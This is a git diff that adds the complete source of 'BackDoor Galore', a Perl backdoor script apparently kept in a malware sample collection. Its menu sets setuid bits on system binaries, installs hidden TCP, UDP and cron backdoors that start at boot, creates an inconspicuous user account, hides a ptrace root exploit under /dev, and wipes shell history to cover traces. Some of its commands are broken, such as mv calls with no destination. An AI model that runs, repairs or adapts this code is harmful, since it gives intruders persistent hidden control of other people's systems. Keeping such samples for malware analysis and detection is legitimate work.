diff --git a/Perl/Backdoor.Perl.Galore.aa b/Perl/Backdoor.Perl.Galore.aa
new file mode 100644
index 00000000..5563302c
--- /dev/null
+++ b/Perl/Backdoor.Perl.Galore.aa
@@ -0,0 +1,141 @@
+#!/usr/bin/perl
+# BackDoor Galore 1.1 (fixed!)
+# Author: NTFX <ntfx@legion2000.tk>
+# Legion2000 Security Research 1995 -
+# This is a simple perl script which backdoors a system for you.
+# Updated, set wrong rc.local patch and didnt execute them, blah!
+# thats what happens when you code at 4am.
+###################################
+&option(); 
+sub option() {
+	system("clear");
+print "##################################\n";
+print "#Backdoor Galore By NTFX         #\n";
+print "#Contact: <ntfx\@legion2000.tk>   #\n";
+print "#Legion2000 Security Research (c)#\n";
+print "##################################\n";
+print "#[ 1] Do this first of all.      #\n"; # must do this cause im lazy.
+print "#[ 2] Create setuid binary's.    #\n"; # /usr/bin/mail & /usr/bin/find.
+print "#[ 3] Open up TCP backdoor.      #\n"; # 12350 # hid /usr/sbin/.telnetd.
+print "#[ 4] Open up UDP backdoor.      #\n"; # 65535 # hid /usr/sbin/.telnetd.
+print "#[ 5] Add Cron Sched'd backdoor. #\n"; # 10001 # only open 3 hours a day.
+print "#[ 6] Add unsuspicious user.     #\n"; # gpm or news prob best.
+print "#[ 7] Hide ptrace Exploit.       #\n"; # /dev/.pts.
+print "#[ 8] Removes Traces             #\n";
+print "#[ 9] Social Calls.              #\n"; # Sociable Greetings.
+print "#[10] Exit the backdoor Script.  #\n"; # quit the backdoor.
+print "##################################\n";
+print "#Enter Option:";
+chomp($number=<STDIN>);
+	if($number == "1") { &di() }
+	if($number == "2") { &uid() } 
+	if($number == "3") { &tcp() } 
+	if($number == "4") { &udp() }
+	if($number == "5") { &cro() }
+	if($number == "6") { &usr() }
+	if($number == "7") { &ptr() }
+	if($number == "8") { &rem() }
+	if($number == "9") { &soc() }
+	if($number == "10") { &ex() }
+	else { &option() } }
+##################
+sub di() {
+	system ("clear");
+	system ("cd $HOME; mkdir ntfx script; mv *.c $HOME/ntfx; mv *pl $HOME/script");
+sleep 2;  }
+##################
+sub uid()  {
+	system ("clear");
+print "we will now make a setuid file in /usr/bin";
+	system ("cd /usr/bin; chmod +s mail; cd $HOME");
+print "mail is now +s\n"; #edit as you wish.
+	system ("cd /usr/bin; chmod +s find; cd $HOME");
+print "find is now +s\n"; #edit as you wish.
+sleep 1;  }
+##################
+sub tcp() {
+	system ("clear");
+print "We are now going to create a basic tcp backdoor\n";
+	system ("cd ../ntfx; gcc tcp.c -o tcp; mv /usr/sbin/.telnetd; echo 
+                /usr/sbin/.telnetd >> /etc/rc.d/rc.local; /usr/sbin/.telnetd &"); # starts on boot.
+print "tcp backdoor is now running on specified port and enabled at boot\n";
+sleep 1;  }
+###################
+sub udp() {
+	system ("clear");
+print "We are now going to install a basic udp backdoor\n";
+	system ("cd ../ntfx; gcc udp.c -o udp; mv /usr/sbin/.telnetd.; echo
+		/usr/sbin/.telnetd. >> /etc/rc.d/rc.local; /usr/sbin/.telnetd. &");
+print "udp backdoor now running on specified port and enabled at boot\n";
+sleep 1;  }
+###################
+sub cro() {
+	system ("clear");
+print "We are now going to install a backdoor into the crond\n";
+	system ("bash crond.sh");
+print "The cron backdoor is now installed, and running on the specified port\n";
+sleep 1; }
+###################
+sub usr() {
+	system ("clear");
+print "we will now add a unsuspicious user to the system\n";
+print "username: ";
+chomp($user=<STDIN>); # be sensible, an acc called "hax0r" will be noticed.
+print "UID: ";
+chomp($uid=<STDIN>);
+print "GID: ";
+chomp($gid=<STDIN>);
+print "home dir: ";
+chomp($home=<STDIN>); #/home/httpd maybe?
+print "type of shell: ";
+chomp($sh=<STDIN>);
+print "comments: "; # preferably leave blank
+chomp($cm=<STDIN>);
+	system("/usr/sbin/useradd $user -u $uid -g $gid -d $home -s $sh -c $cm");
+	system("passwd $user");
+sleep 1;  }
+##################
+sub ptr() {
+	system ("clear");
+print "we are now going to compile and hide the ptrace exploit\n";
+print "name the user you previously entered";
+chomp ($usr=<STDIN>);
+	system ("cd ../ntfx; gcc ptrace.c -o pts; chown $usr pts; mv pts /dev/.pts");
+print "ptrace is now stored in /dev/.pts";
+sleep 1;  }
+##################
+sub soc()  {
+	system ("clear");
+print "Greetings:\n";
+sleep 1;
+print "opt1k, SpyModem, eckis, EazyMoney, Phantasm, Epheo, I-L, wired-\n";
+sleep 1;
+print "BlackSun Research, Legion2000 Crew, efnet #feed-the-goats\n";
+$sex;
+print "press any key to continue....";
+chomp($sex=<STDIN>); }
+##################
+sub rem() {
+	system ("clear");
+print "we are now going to remove files we have used.\n";
+	system ("rm -rf $HOME/scripts; rm -rf $HOME/ntfx");
+print "now removing history files.\n";
+	system ("HISTFILE=/dev/null; HISTFILESIZE=0; rm -rf .*"); }
+# had to redo due to paul holden selecting remove traces on the original source.
+#############
+sub ex() {
+	system("clear");
+print"    #                                      #####    ###     ###     ###\n";
+print"    #       ######  ####  #  ####  #    # #     #  #   #   #   #   #   #\n";
+print"    #       #      #    # # #    # ##   #       # #     # #     # #     #\n";
+print"    #       #####  #      # #    # # #  #  #####  #     # #     # #     #\n";
+print"    #       #      #  ### # #    # #  # # #       #     # #     # #     #\n";
+print"    #       #      #    # # #    # #   ## #        #   #   #   #   #   #\n";
+print"    ####### ######  ####  #  ####  #    # #######   ###     ###     ###\n";
+print"			      www.legion2000.tk\n";
+print"			    efnet #feed-the-goats\n";
+print"\n\n";
+print"Press Any Key To Exit\n";
+$sex;
+chomp($sex=<STDIN>);
+exit 1;}
\ No newline at end of file